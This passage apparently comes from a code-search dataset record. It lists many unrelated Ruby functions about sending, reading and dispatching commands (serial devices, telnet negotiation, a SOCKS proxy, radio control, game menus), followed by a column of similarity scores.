Termios.getattr($stdin)\n enable ? (attr.c_lflag |= Termios::ICANON | Termios::ECHO) : (attr.c_lflag &= ~(Termios::ICANON|Termios::ECHO))\n Termios.setattr($stdin, Termios::TCSANOW, attr)\n @buff_enabled = enable\n end", "def on(relay)\n lsb = relay - 1 & 255\n msb = relay >> 8\n command = wrap_in_api([254, 48, lsb, msb]) # command:[]\n result = send_command(command) # result:string\n process_control_command_return(result)\n end", "def ACK04=(arg)", "def bindkey_ext_command\n print\n pbold 'Bind a capital letter to an external command'\n print 'Enter a capital letter to bind: '\n key = get_char\n return if key == 'Q'\n\n if /^[A-Z]$/.match?(key)\n print \"Enter an external command to bind to #{key}: \"\n com = gets.chomp\n if com != ''\n print 'Enter prompt for command (blank if same as command): '\n pro = gets.chomp\n pro = com if pro == ''\n end\n print 'Pause after output [y/n]: '\n yn = get_char\n @bindings[key] = \"command_file #{pro} #{yn} #{com}\"\n end\nend", "def bindkey_ext_command\n print \n pbold \"Bind a capital letter to an external command\"\n print \"Enter a capital letter to bind: \"\n ch = get_char\n return if ch == \"Q\"\n if ch =~ /^[A-Z]$/\n print \"Enter an external command to bind to #{ch}: \"\n com = gets().chomp\n if com != \"\"\n print \"Enter prompt for command (blank if same as command): \"\n pro = gets().chomp\n pro = com if pro == \"\"\n end\n print \"Pause after output [y/n]: \"\n yn = get_char\n $bindings[ch] = \"command_file #{pro} #{yn} #{com}\"\n end\nend", "def send_cmd(cmd)\n # What time is it ?\n # update_access\n\n # Write the command plus a newline to the input\n @pipe.write_input(cmd + \"\\n\")\n end", "def send_command(str)\n str += \"\\r\"\n write(socket, str) # the write is blocking\n sleep(0.2)\n read(socket).gsub(prompt,'')\n end", "def do_send(command, options = {}, &block)\n\t\tcommand = \"!00B#{command}\\r\"\n\t\t\n\t\tsend(command, options, &block)\n\tend", "def SWEEP_Mode()\n target_name = get_target_name(\"TARGET\") #{target_name}\n set_tlm(\"#{target_name} EPS_ACK_PACKET EPS_ACK_STATUS = 98\")\n cmd(\"#{target_name} EPS_SWEEP_MODE\") #ADCS_STOP_ACTUATORS EPS_SWEEP_MODE\nend", "def ask_for_command\n ask(coloured('LOCOBOT AWAITING COMMAND> ', :BLUE)) do |q|\n q.case = :upcase\n q.readline = true\n end\nend", "def bindkey_ext_command\n #print \n #pbold \"Bind a capital letter to an external command\"\n ch = get_single \"Enter a capital letter to bind: \"\n #ch = get_char\n return if ch == \"Q\"\n if ch =~ /^[A-Z]$/\n print \"Enter an external command to bind to #{ch}: \"\n com = gets().chomp\n if com != \"\"\n print \"Enter prompt for command (blank if same as command): \"\n pro = gets().chomp\n pro = com if pro == \"\"\n end\n print \"Pause after output [y/n]: \"\n yn = get_char\n $bindings[ch] = \"command_file #{pro} #{yn} #{com}\"\n end\nend", "def cascad(lcmd) sync_spawn(\"oled-exp\",@opt,\"cascad\",*(lcmd.map {|a|i a.to_s}) ) end", "def give_command(command)\n\t\tif command.start_with? \"PLACE\"\n\t\t\tif @robot.robot_placed?\n\t\t\t\tputs \"\"\n\t\t\t\tputs \"Only one robot permitted in this small world\"\n\t\t\telse\n\t\t\t\tplace(command)\n\t\t\tend\n\t\telsif command == \"EXIT\"\n\t\t\tif OS.mac?\n\t\t\t\tcmd =(\"say 'Bye bye, #{$account}!'\" )\n\t\t\t\tsystem cmd\n\t\t\tend\n\t\t\texit\n\t\telsif !valid_command?(command)\n\t\t\tputs \"\"\n\t\t\tputs \"Sorry but \\\"#{command}\\\" is not a valid command\"\n\t\telsif !@robot.robot_placed?\n\t\t\tputs \"\"\n\t\t\tputs \"Sorry #{$account}, but you need to place the robot before \\\"#{command}\\\" will be accepted\"\n\t\telse\n\t\t\tcase command\n\t\t\twhen \"SELFDESTRUCT\" then destruct\n\t\t\twhen \"MOVE\" then move\n\t\t\twhen \"REPORT\" then report\n\t\t\twhen \"LEFT\" then rotate(\"LEFT\")\n\t\t\twhen \"RIGHT\" then rotate(\"RIGHT\")\n\t\t\t#rotate to allow for more directions (e.g. other angles than 90 degrees)\n\t\t\tend\n\t\tend\n\tend", "def tty?; _tty?; end", "def before_run_command\n return unless @local_serial\n # for `cu` command\n @reader.expect(/^Connected\\./, 1) do\n write_and_logging 'Send enter to connect serial', \"\\r\\n\", true\n end\n end", "def onCmdFlat(sender, sel, ptr)\n bctrl :flat, :buy, :short, :flip\n @watcher.cmdGoFlat\n end", "def transfer_command( amount, ship )\n\t\t\t\tTransferCommand.new @interface, amount, ship\n\t\t\tend", "def command(**options)\n require 'tty-command'\n TTY::Command.new(options)\n end", "def command(**options)\n require 'tty-command'\n TTY::Command.new(options)\n end", "def command(**options)\n require \"tty-command\"\n TTY::Command.new(options)\n end", "def write(cmd)\n\t \t @log.debug \"Tx: \"+cmd\n\t\t @sp.write cmd\n\t\t sleep 0.25 \n\t end", "def proccess_command(command)\n # branch based on command type\n case command[0]\n when COMScript # script [code]\n # evaluate script\n result = eval(command[1])\n when COMWait # wait [int]\n # decrease wait counter by 1\n command[1] -= 1\n # proceed if wait time is up\n return command[1] <= 0\n when COMMove # move [int, int]\n # add to move commands\n @moves.push(command)\n when COMTurn # turn [int]\n # add to move commands\n @moves.push(command)\n when COMJump # jump [int, int]\n # add to move commands\n @moves.push(command)\n when COMAttack # attack\n # use attack\n @ch.use_attack\n when COMSkill # skill [int]\n # use skill\n @ch.use_skill($data_skills[command[1]])\n when COMItem # item [int]\n # use item\n @ch.use_item($data_items[command[1]])\n when COMDefend # defend [int]\n # decrease time\n time = command[1] - 1\n # use defend\n @ch.use_defend\n # set penalty\n @ch.set_action(1)\n # if not done with command\n if time > 0\n # update the command counter\n command[1] = time\n # do not proceed\n return false\n end\n when COMCharacter # character [CH, value]\n # handle based on sub-command\n case command[1]\n when CHSpeed # move speed\n # set movement speed\n @ch.move_speed = command[2]\n when CHFrequency # move frequency\n # set movement frequency\n @ch.move_frequency = command[2]\n when CHSprite # change sprite\n # set sprite\n @ch.character_name = command[2]\n when CHAnimation # play animation\n # set animation\n @ch.animation_id = command[2]\n when CHFix # direction fix\n # set direction fix flag\n @ch.direction_fix = command[2]\n when CHThrough # through\n # set through flag\n @ch.through = command[2]\n when CHOnTop # always on top\n # set always on top flag\n @ch.always_on_top = command[2]\n when CHOpacity # opacity\n # set opacity\n @ch.opacity = command[2] \n end\n when COMInput # create input window [int, [keys], IN, int]\n # create new input window\n @inputs[command[1]] = [command[2], command[3], command[4], false]\n when COMVariable # variable [VAR, value1, '=', VAR, value2]\n val1 = get_variable(command[1], command[2])\n val2 = get_variable(command[4], command[5])\n # branch handling based on operator type\n case command[3]\n when '+=' then val2 = val1 + val2 # add\n when '-=' then val2 = val1 - val2 # subtract\n when '*=' then val2 = val1 * val2 # multiply\n when '/=' then val2 = val1 / val2 # divide\n when '%=' then val2 = val1 % val2 # modulo\n end\n # set the variable\n set_variable(command[1], command[2], val2)\n when COMCondition # condition [VAR, value1, '==', VAR, value2]\n # initialize result\n result = false\n # initialize values\n val1 = get_variable(command[1], command[2])\n val2 = get_variable(command[4], command[5])\n # branch handling based on operator type\n case command[3]\n when '==' # equal to\n # result is value 1 equal to value 2\n result = val1 == val2\n when '!=' # not equal to\n # result is value 1 not equal to value 2\n result = val1 != val2\n when '>' # greater than\n # result is value 1 equal to value 2\n result = val1 > val2\n when '>=' # greater than or equal to\n # result is value 1 not equal to value 2\n result = val1 >= val2\n when '<=' # less than\n # result is value 1 equal to value 2\n result = val1 < val2\n when '<=' # less than or equal to\n # result is value 1 not equal to value 2\n result = val1 <= val2\n end \n # if input or script\n if command[1] == VARInput || command[1] == VARScript\n # value 1 contains the result\n result = val1\n # do not proceed if waiting on an input window\n if command[1] == VARInput && @inputs[command[2]][2] > 0 && !result\n return false\n end\n end\n # skip next command if exists and condition not met\n @commands.delete_at(1) if !result && @commands.size > 1\n when COMFreeze # freeze input [bool]\n # set freeze input flag\n @freeze_character = command[1]\n when COMCompletion # wait for move completion\n # proceed if no more moves and character no longer moving\n return @moves.size == 0 && !@ch.moving?\n when COMGoTo # go to action [int]\n raise 'ERROR: Invalid action' if !is_valid_action?(command[1])\n # setup the action\n setup_action(command[1])\n # do not proceed - new set of commands\n return false\n when COMAbort # abort\n # set ended flag\n @ended = true\n end\n return true\n end", "def do_command\n _, cmd, _, atype, addr_length = @data.unpack(\"C5\")\n header_length = 0\n\n case atype\n when 1, 4 # 1: ipv4, 4 bytes / 4: ipv6, 16 bytes\n ip_length = 4 * atype\n host = IPAddr.ntop @data[4, ip_length]\n port = @data[4 + ip_length, 2].unpack('S>').first\n header_length = ip_length + 6\n when 3 # domain name\n host = @data[5, addr_length]\n port = @data[5 + addr_length, 2].unpack('S>').first\n header_length = addr_length + 7\n else\n panic :address_type_not_supported\n end\n\n case cmd\n when 1\n send_data reply_data(:success)\n @connection = EventMachine.connect(Config.remote_server_host, Config.remote_server_port, Connection)\n @connection.server = self\n @connection.send_encoded_data(\"#{host}:#{port}\")\n @connection.send_encoded_data(@data[header_length, -1])\n clear_data\n Fiber.yield\n when 2, 3 # bind, udp\n panic :command_not_supported\n else\n panic :command_not_supported\n end\n end", "def command_start; end", "def command_start; end", "def command_start; end", "def initiate(opt, enable, who)\n option(opt)\n\n case who\n when :him\n willdo = DO.chr\n wontdont = DONT.chr\n whoq = :himq\n when :us\n willdo = WILL.chr\n wontdont = WONT.chr\n whoq = :usq\n else\n # Error\n end\n\n case @state[opt].send(who)\n when :no\n if enable\n @state[opt].send(\"#{who}=\", :wantyes)\n @pstack.conn.sendmsg(IAC.chr + willdo + opt.chr)\n else\n # Error already disabled\n log.error(\"(#{@pstack.conn.object_id}) Telnet negotiation: option #{opt.to_s} already disabled\")\n end\n when :yes\n if enable\n # Error already enabled\n log.error(\"(#{@pstack.conn.object_id}) Telnet negotiation: option #{opt.to_s} already enabled\")\n else\n @state[opt].send(\"#{who}=\", :wantno)\n @pstack.conn.sendmsg(IAC.chr + wontdont + opt.chr)\n end\n when :wantno\n if enable\n case @state[opt].send(whoq)\n when :empty\n @state[opt].send(\"#{whoq}=\", :opposite)\n when :opposite\n # Error already queued enable request\n log.error(\"(#{@pstack.conn.object_id}) Telnet negotiation: option #{opt.to_s} already queued enable request\")\n end\n else\n case @state[opt].send(whoq)\n when :empty\n # Error already negotiating for disable\n log.error(\"(#{@pstack.conn.object_id}) Telnet negotiation: option #{opt.to_s} already negotiating for disable\")\n when :opposite\n @state[opt].send(\"#{whoq}=\", :empty)\n end\n end\n when :wantyes\n if enable\n case @state[opt].send(whoq)\n when :empty\n #Error already negotiating for enable\n log.error(\"(#{@pstack.conn.object_id}) Telnet negotiation: option #{opt.to_s} already negotiating for enable\")\n when :opposite\n @state[opt].send(\"#{whoq}=\", :empty)\n end\n else\n case @state[opt].send(whoq)\n when :empty\n @state[opt].send(\"#{whoq}=\", :opposite)\n when :opposite\n #Error already queued for disable request\n log.error(\"(#{@pstack.conn.object_id}) Telnet negotiation: option #{opt.to_s} already queued for disable request\")\n end\n end\n end\n end", "def commandRead()\n readbuff = \"#\"\n command_get = 0\n cnt = 0\n loop do\n while(Usb.available() > 0) do #何か受信があったらreadbuffに蓄える\n a = Usb.read()\n readbuff += a\n Usb.print a\n if a.to_s == \";\" then\n command_get = 1\n break\n end\n delay 20\n cnt = 0\n end #while\n\n if readbuff.length > 0 then\n cnt += 1\n if cnt > 500 then\n command_get = 1\n break\n end \n delay 20\n end \n\n if command_get==1 || readbuff==\"\" then\n break\n end\n end #loop\n\n if command_get==1 then\n command_get = 0\n if(readbuff[5]==\"/\" and readbuff[8]==\"/\" and readbuff[11]==\" \" and readbuff[14]==\":\" and readbuff[17]==\":\")then\n if(readbuff.length >= 19 )then\n year = readbuff[1,4].to_i\n mon\t = readbuff[6,2].to_i\n da\t = readbuff[9,2].to_i\n ho\t = readbuff[12,2].to_i\n min\t = readbuff[15,2].to_i\n sec\t = readbuff[18,2].to_i\n Rtc.deinit()\n #Rtc.init(-20)\t# RTC補正:10 秒毎に 20/32768 秒遅らせる\n Rtc.init() # v2.83以降:デフォルト値(-20)で補正を行う\n Rtc.setTime([year,mon,da,ho,min,sec])\n end\n year,mon,da,ho,min,sec = Rtc.getTime()\n puts \"\"\n puts year.to_s + \"/\" + zeroAdd(mon) + \"/\" + zeroAdd(da) + \" \" + zeroAdd(ho) + \":\" + zeroAdd(min) + \":\" + zeroAdd(sec)\n puts \"RTC setteing is done.\"\n else\n puts \"\"\n puts \"Illegal command:\" + readbuff\n readbuff = \"\"\n end #if\n end\nend", "def commandRead()\n readbuff = \"#\"\n command_get = 0\n cnt = 0\n loop do\n while(Usb.available() > 0) do #何か受信があったらreadbuffに蓄える\n a = Usb.read()\n readbuff += a\n Usb.print a\n if a.to_s == \";\" then\n command_get = 1\n break\n end\n delay 20\n cnt = 0\n end #while\n\n if readbuff.length > 0 then\n cnt += 1\n if cnt > 500 then\n command_get = 1\n break\n end \n delay 20\n end \n\n if command_get==1 || readbuff==\"\" then\n break\n end\n end #loop\n\n if command_get==1 then\n command_get = 0\n if(readbuff[5]==\"/\" and readbuff[8]==\"/\" and readbuff[11]==\" \" and readbuff[14]==\":\" and readbuff[17]==\":\")then\n if(readbuff.length >= 19 )then\n year = readbuff[1,4].to_i\n mon\t = readbuff[6,2].to_i\n da\t = readbuff[9,2].to_i\n ho\t = readbuff[12,2].to_i\n min\t = readbuff[15,2].to_i\n sec\t = readbuff[18,2].to_i\n Rtc.deinit()\n #Rtc.init(-20)\t# RTC補正:10 秒毎に 20/32768 秒遅らせる\n Rtc.init() # v2.83以降:デフォルト値(-20)で補正を行う\n Rtc.setTime([year,mon,da,ho,min,sec])\n end\n year,mon,da,ho,min,sec = Rtc.getTime()\n puts \"\"\n puts year.to_s + \"/\" + zeroAdd(mon) + \"/\" + zeroAdd(da) + \" \" + zeroAdd(ho) + \":\" + zeroAdd(min) + \":\" + zeroAdd(sec)\n puts \"RTC setteing is done.\"\n else\n puts \"\"\n puts \"Illegal command:\" + readbuff\n readbuff = \"\"\n end #if\n end\nend", "def ACK08=(arg)", "def ACK10=(arg)", "def char_press\n begin\n system('stty raw -echo') # turn raw input on\n input = $stdin.getc if $stdin.ready?\n input.chr if input\n ensure\n system('stty -raw echo') # turn raw input off\n end\n end", "def update_character\n # freeze character input if flag is set\n @ch.set_action(1) if @freeze_character\n end", "def config\n\n status=true\n\n # Set the audio carrier, but only if it's not false (so other\n # items can be updated without worrying about a little bit of\n # drift due to AFC).\n if @carrier\n @carrier=@carrier.to_i\n if @carrier!=self.get_carrier().to_i\n self.sendcmd(\"modem.set_carrier\", @carrier)\n end\n end\n \n # Set the modem. Also, take a stab at setting the timeouts for\n # that modem. ToDo: Add to these as additional modems are checked\n # out, and save the user some hassle.\n if @modem!=@modem_old\n case @modem\n when \"BPSK31\"\n @start_wait=5\n @char_wait=1\n when \"BPSK63\"\n @start_wait=5\n @char_wait=0.5\n when \"BPSK125\"\n @start_wait=5\n @char_wait=0.5\n when \"BPSK250\"\n @start_wait=5\n @char_wait=0.5\n else\n @start_wait=10\n @char_wait=2\n end\n \n if @modem==self.get_modem()\n @modem_old=@modem\n else\n self.sendcmd(\"modem.set_by_name\", @modem)\n if @modem==self.get_modem()\n @modem_old=@modem\n else\n self.error(\"modem.set_by_name failed with value #{@modem}\")\n puts \"modem.set_name failed\" if @debug\n status=false\n end\n end\n end\n \n # Turn spot on/off (true/false).\n if @spot!=@spot_old\n if torf(self.sendcmd(\"spot.get_auto\"))==@spot\n @spot_old=@spot\n else\n self.sendcmd(\"spot.set_auto\", @spot)\n if torf(self.sendcmd(\"spot.get_auto\"))==@spot\n @spot_old=@spot\n else\n self.error(\"spot.set_auto failed with value #{@spot}\")\n puts \"spot.set_auto failed\" if @debug\n status=false\n end\n end\n end\n\n # Turn AFC on/off (true/false). Some modes don't work with\n # AFC. There seems to be a great deal of inconsistency (a bug,\n # maybe?) in reading the AFC value back from FLDigi. Every test I\n # can come up with points to a bug in their code, not mine. Until\n # we can get this sorted out, don't consider failure to set AFC as\n # fatal. Just unset it, and continue on. ToDo: Verify bug in\n # FLDigi, then fix.\n if (@afc!=@afc_old)\n if torf(self.sendcmd(\"main.get_afc\"))==@afc\n @afc_old=@afc\n else\n self.sendcmd(\"main.set_afc\", @afc)\n sleep 0.25\n if torf(self.sendcmd(\"main.get_afc\"))==@afc\n @afc_old=@afc\n else\n @afc=false\n puts \"main.set_afc failed, so leaving turned off\" if @debug\n end\n end\n end\n\n # Set the sideband (\"USB\"/\"LSB\"). ToDo: make sure this is\n # correct.\n if @sideband!=@sideband_old\n if @sideband==self.sendcmd(\"main.get_sideband\")\n @sideband_old=@sideband\n else\n self.sendcmd(\"main.set_sideband\", @sideband)\n if @sideband==self.sendcmd(\"main.get_sideband\")\n @sideband_old=@sideband\n else\n self.error(\"main.set_sideband failed with value #{@sideband}\")\n puts \"main.set_sideband failed\" if @debug\n status=false\n end\n end\n end\n\n # Turn RSID receive on/off (true/false).\n if @rsid!=@rsid_old\n if torf(self.sendcmd(\"main.get_rsid\"))==@rsid\n @rsid_old=@rsid\n else\n self.sendcmd(\"main.set_rsid\", @rsid)\n if torf(self.sendcmd(\"main.get_rsid\"))==@rsid\n @rsid_old=@rsid\n else\n self.error(\"main.set_rsid failed with value #{@rsid}\")\n puts \"main.set_rsid failed\" if @debug\n status=false\n end\n end\n end\n \n # Turn squelch on/off (true/false).\n if @squelch!=@squelch_old\n if torf(self.sendcmd(\"main.get_squelch\"))==@squelch\n @squelch_old=@squelch\n else\n self.sendcmd(\"main.set_squelch\", @squelch)\n if torf(self.sendcmd(\"main.get_squelch\"))==@squelch\n @squelch_old=@squelch\n else\n self.error(\"main.set_squelch failed with value #{@squelch}\")\n puts \"main.set_squelch failed\" if @debug\n status=false\n end\n end\n end\n \n # Set the squelch value (3.0 seems to work well).\n if @slevel!=@slevel_old\n @slevel_old=@slevel\n if @slevel.to_f==self.sendcmd(\"main.get_squelch_level\").to_f\n @slevel=@slevel.to_f\n else\n self.sendcmd(\"main.set_squelch_level\", @slevel)\n if @slevel==self.sendcmd(\"main.get_squelch_level\")\n @slevel=@slevel.to_f\n else\n self.error(\"main.set_squelch_level failed with value #{@slevel}\")\n puts \"main.set_squelch_level failed\" if @debug\n status=false\n end\n end\n end\n\n # Set the radio frequency (in hz). If the user has specified no\n # rig control, it simply returns true and ignores the provided\n # value (this is so people who don't have rig control can still\n # use the other features of the library, they just can't set the\n # radio frequency). Otherwise, it returns true if successful in\n # setting the frequency, false if it fails. The sleep here gives\n # the radio time to change frequencies before checking. 0.5\n # seconds work with all of my radios, but it's possible this will\n # need to be tweaked. Send me an e-mail if this value is not\n # adequate for your radio, and I'll figure out a plan. So far, it\n # works on my IC-706MkII, my IC-756Pro, and my FT-817. The value\n # for @offset is added to the desired frequency. This is for use\n # when you want all of your radios to be on a very specific given\n # frequency. You must choose one as \"the standard\", then figure\n # out the offset for each rig from that standard. For example, my\n # FT-817 transmits 180hz lower (for a given equal temperature).\n # Assuming I've chosen my IC-706MkII as my standard (of course,\n # you could use WWV or some such, as well), I need to set @offset\n # to -180 whenever using my FT-817 if I want them to be on the\n # exact same frequency. This value could be added to either the\n # dial frequency or the carrier. I chose the dial frequency,\n # since a lot of people reference the carrier more often than the\n # dial. That way, when one person says he's at \"1000\", it'll be\n # \"1000\" on the other radio, as well. There's no good, clean,\n # all-purpose solution to this one, but at least it allows for\n # consistent and automated use of the library without having to do\n # the conversions in your own code. We give ourselves two tries to\n # get the freq right, since some rigs seem to act a bit odd when\n # changing bands.\n @dial_freq=@dial_freq.to_i\n if (@dial_freq!=@dial_freq_old or @offset!=@offset_old) and @rigctl\n @dial_freq_old=@dial_freq\n @offset_old=@offset\n if @dial_freq+@offset.to_i!=self.sendcmd(\"main.get_frequency\").to_f\n self.sendcmd(\"main.set_frequency\", @dial_freq+@offset.to_f)\n sleep 0.5\n if @dial_freq+@offset.to_i!=self.sendcmd(\"main.get_frequency\").to_f\n self.sendcmd(\"main.set_frequency\", @dial_freq+@offset.to_f)\n sleep 0.5\n if @dial_freq+@offset.to_i!=self.sendcmd(\"main.get_frequency\").to_f\n self.error(\"main.set_frequency failed with value #{@dial_freq}\")\n puts \"main.set_frequency failed\" if @debug\n status=false\n end\n end\n end\n end\n\n return status\n end", "def prompt\n\t\t@obuffer << PROMPT\n\t\t@server.reactor.enableEvents( @socket, :write )\n\tend", "def send_command_to_control(command, arg = \"\")\n Control.functions[__method__] ||= AU3_Function.new(\"ControlCommand\", 'SSSSSPI')\n buffer = \" \" * BUFFER_SIZE\n buffer.wide!\n Control.functions[__method__].call(@title.wide, @text.wide, @c_id.wide, command.wide, arg.to_s.wide, buffer, BUFFER_SIZE - 1)\n raise_unfound if AutoItX3.last_error == 1\n buffer.normal.strip\n end", "def update_command\r\n # If B button was pressed\r\n if Input.trigger?(Input::B)\r\n # Play cancel SE\r\n $game_system.se_play($data_system.cancel_se)\r\n # Switch to map screen\r\n $scene = Scene_Map.new\r\n return\r\n end\r\n # If C button was pressed\r\n if Input.trigger?(Input::C)\r\n # Return if Disabled Command\r\n if disabled_main_command?\r\n # Play buzzer SE\r\n $game_system.se_play($data_system.buzzer_se)\r\n return\r\n end\r\n # Command Input\r\n main_command_input\r\n return\r\n end\r\n end", "def ACK05=(arg)", "def att_xfer endpoint, &block\n application \"att_xfer\", endpoint, &block\n end", "def ACK09=(arg)", "def menu _command\n send_cmd(\"menu #{_command}\")\n end", "def transmit\n if self.sendcmd(\"main.get_trx_status\")==\"tx\"\n return true\n else\n self.sendcmd(\"main.tx\")\n end\n if self.sendcmd(\"main.get_trx_status\")==\"tx\"\n return true\n else\n self.error(\"main.tx failed\")\n return false\n end\n end", "def set_commands; end", "def at!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 9)\n\n type = AT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 15:6: '@'\n match(?@)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 9)\n\n end", "def do_command\n if @index == 0\n do_command0\n elsif @index == 1\n @wanted_data[3] = display_message(ext_text(8997, 25), 1, *GTS.genders)\n elsif @index == 2\n do_command2\n elsif @index == 3\n if @wanted_data[0] > 0\n @running = false\n else\n $game_system.se_play($data_system.cancel_se)\n end\n elsif @index == 4\n @wanted_data = -1\n return @running = false\n end\n draw_wanted_data\n end", "def set_echo(enable)\n term = ::Termios.getattr($stdin)\n\n if enable\n term.c_lflag |= (::Termios::ECHO | ::Termios::ICANON)\n else\n term.c_lflag &= ~::Termios::ECHO\n end\n\n ::Termios.setattr($stdin, ::Termios::TCSANOW, term)\n end", "def command_type\n case @current[0]\n when '@'\n :A_COMMAND\n when '('\n :L_COMMAND\n else\n :C_COMMAND\n end\n end", "def tty\n unless (@connection.nil?) then return @connection end\n \n @serial ||= self.device['org.bluez.Serial']\n devpattern = \"spp\" # TODO: figure out how to get a device string\n @connection = @serial.Connect(devpattern)[0]\n end", "def execute_command( text , log, onscreen)\n\n begin\n\n # write the command to the arduino\n puts \"WR: #{text}\" if onscreen\n @bot_dbaccess.write_to_log(1, \"WR: #{text}\") if log\n @serial_port.read_timeout = 2\n @serial_port.write( \"#{text} \\n\" ) \n\n done = 0\n r = ''\n received = ''\n start = Time.now\n timeout = 5\n\n # wait until the arduino responds\n while(Time.now - start < timeout and done == 0)\n\n # if there is an emergency stop, immediately write it to the arduino\n if ($status.emergency_stop)\n @serial_port.write( \"E\\n\" )\n end\n\n # check for incoming data\n i = @serial_port.read(1)\n if i != nil\n i.each_char do |c|\n if c == \"\\r\" or c == \"\\n\"\n if r.length >= 3\n\n # some data received\n puts \"RD: #{r}\" if onscreen\n @bot_dbaccess.write_to_log(1,\"RD: #{r}\") if log\n\n # get the parameter and data part\n c = r[0..2].upcase\n t = r[3..-1].to_s.upcase.strip\n\n # process the feedback\n case c\n\n # command received by arduino\n when 'R01' \n timeout = 90\n\n # command is finished\n when 'R02'\n done = 1\n\n # command is finished with errors\n when 'R03'\n done = 1\n\n # command is still ongoing\n when 'R04'\n start = Time.now\n timeout = 90\n\n # specific feedback that is processes seperately\n else\n process_value(c,t)\n end\n r = ''\n end\n else\n r = r + c\n end\n end\n else\n sleep 0.001\n end\n end\n\n # log things if needed\n if done == 1\n puts 'ST: done' if onscreen\n @bot_dbaccess.write_to_log(1, 'ST: done') if log\n else\n puts 'ST: timeout'\n @bot_dbaccess.write_to_log(1, 'ST: timeout')\n\n sleep 5\n end\n\n rescue Exception => e\n puts(\"ST: serial error\\n#{e.message}\\n#{e.backtrace.inspect}\")\n @bot_dbaccess.write_to_log(1,\"ST: serial error\\n#{e.message}\\n#{e.backtrace.inspect}\")\n\n @serial_port.rts = 1\n connect_board\n\n sleep 5\n end\n\n end", "def alarm\n puts \"\\nYOUR DEVICE IS INFECTED WITH CLIPBOARD HIJACKER !\"\n system(\"notify-send -u critical 'YOUR DEVICE IS INFECTED WITH CLIPBOARD HIJACKER !'\")\n system(\"spd-say 'Your device is infected with clipboard hijacker!'\")\n end", "def transmit_command(command_str)\n \t puts \"sending command #{command_str}\"\n \t cmd_url = \"http://#{@host}/3?#{command_str}=I=3\"\n open cmd_url do |f|\n puts f.read\n end\n end", "def commandalias(command, a)\r\n\t$gamemode.commandalias(command, a)\r\nend", "def run_prompt(aCommand)\n\t\trun_respond aCommand do |text,stream,state|\n\t\t\tCapistrano::CLI.password_prompt(text)+\"\\n\"\n\t\tend\n\tend", "def command data, command_groups=[:global], from_input=false\n data.strip!\n return unless data != \"\"\n command_name,args = data.split(' ', 2)\n # if args is nil, lets make it a string.\n args ||= \"\"\n\n # either - is there a command?\n # or, there is an exit in this room/a standard exit by that name.\n # elsewise, \"you can't do that.\"\n begin\n if com = Commands::find_command(command_name, command_groups) \n com.enact(self, args)\n elsif room.has_exit?(command_name)|| (Room::DIRS.keys + Room::DIRS.values).include?(command_name.to_sym)\n Commands::find_command(\"move\", [:global]).enact(self,data)\n #room.leave_to(self,command_name).arrive_from(self,command_name)\n else\n hear_line \"You can't do that!\"\n end\n rescue NoBalanceError => e\n hear_line \"You can't do that off balance.\"\n rescue Exception => e\n hear_line \"You've triggered an uncaught exception. Please report this to the mud....\"\n puts \"There has been an uncaught exception, triggered by #{display_name} trying to do a command with #{data}\"\n puts \"It raised #{e} at\"\n puts e.backtrace\n end\n end", "def start_from_entrance\n prompt = TTY::Prompt.new\n @direction = prompt.select(\"You look around the room and you see a chest to your left, an enchantment table in front, and a bookcase to your right.\", %w(Move_to_locked_chest))\n line_break\n end", "def brake\r\n command 'break'\r\n end", "def set_command(slot, on_command, off_command)\n @on_commands[slot] = on_command\n @off_commands[slot] = off_command\n end", "def set_command(slot, on_command, off_command)\n @on_commands[slot] = on_command\n @off_commands[slot] = off_command\n end", "def run(command)\n @logger.debug(\"#{ @host } (#{ get_mode })\") { \"Executing #{ command }\" }\n\n output = ''\n @transport.cmd(command) { |c| output += c }\n\n # @logger.debug(\"#{ @host } (#{ get_mode })\") { output }\n # @logger.warn(@host) { 'Net::Ops::IOSInvalidInput'; puts output } if /nvalid input detected/.match(output)\n fail Net::Ops::IOSInvalidInput if /nvalid input detected/.match(output)\n\n output\n end", "def ask_him(opt, enable)\n log.debug(\"(#{@pstack.conn.object_id}) Requested Telnet option #{opt.to_s} set to #{enable.to_s}\")\n initiate(opt, enable, :him)\n end", "def command(type)\n end", "def la\n send_command \"la\"\n end", "def leave_at_mode\n at_cr('atcn', 1000)\n end", "def update_command\r\n # If B button was pressed\r\n if Input.trigger?(Input::B)\r\n # Play cancel SE\r\n $game_system.se_play($data_system.cancel_se)\r\n # Switch to map screen\r\n $scene = Scene_Map.new\r\n return\r\n end\r\n # If C button was pressed\r\n if Input.trigger?(Input::C)\r\n # Return if Disabled Command\r\n if disabled_main_command?\r\n # Play buzzer SE\r\n $game_system.se_play($data_system.buzzer_se)\r\n return\r\n end\r\n main_command_input\r\n return\r\n end\r\n end", "def read_command\n return nil unless @ui_mode == ConsoleMode::Command\n char = getch\n if char && char[0].ord > 30 # received a non-control character\n # convert the char to the Command\n logger.debug { \"console: received command key #{char}\" }\n cmd = Command.from_key(char)\n if !cmd.nil? && @current_commands.include?(cmd)\n @ui_mode = ConsoleMode::None\n logger.debug { \"console: command received was #{cmd}\" }\n cmd\n else\n logger.debug { 'console: command received was not valid' }\n nil\n end\n end\n end" ]
[ "0.79628927", "0.6037958", "0.59522617", "0.5886517", "0.5865999", "0.5796071", "0.568493", "0.5670516", "0.56375766", "0.5600464", "0.5562368", "0.5549148", "0.5516799", "0.54940027", "0.54439783", "0.54282176", "0.54164267", "0.54159", "0.54127866", "0.53951305", "0.5360886", "0.5310835", "0.5296312", "0.5266206", "0.526371", "0.5238728", "0.5213428", "0.52126724", "0.5190588", "0.5190588", "0.5190588", "0.5190588", "0.5190588", "0.5190588", "0.51775825", "0.5172776", "0.51697296", "0.515678", "0.5149723", "0.51404274", "0.5139454", "0.5138122", "0.51305217", "0.51300704", "0.5126964", "0.5112648", "0.5110788", "0.51048934", "0.5101326", "0.5087426", "0.5084333", "0.5084028", "0.5064564", "0.5064564", "0.5061263", "0.5039918", "0.50397545", "0.5029185", "0.5017133", "0.5017133", "0.5017133", "0.5013291", "0.50110203", "0.50110203", "0.50106156", "0.50099427", "0.5007462", "0.5001444", "0.49848974", "0.4983256", "0.49828607", "0.4974477", "0.49731594", "0.49683693", "0.49635577", "0.49591595", "0.49568826", "0.4953077", "0.49521607", "0.4952036", "0.49510035", "0.49503705", "0.4946646", "0.49454716", "0.49349028", "0.4932541", "0.49225608", "0.4919156", "0.49170354", "0.4909641", "0.49095556", "0.49041766", "0.49041766", "0.49022284", 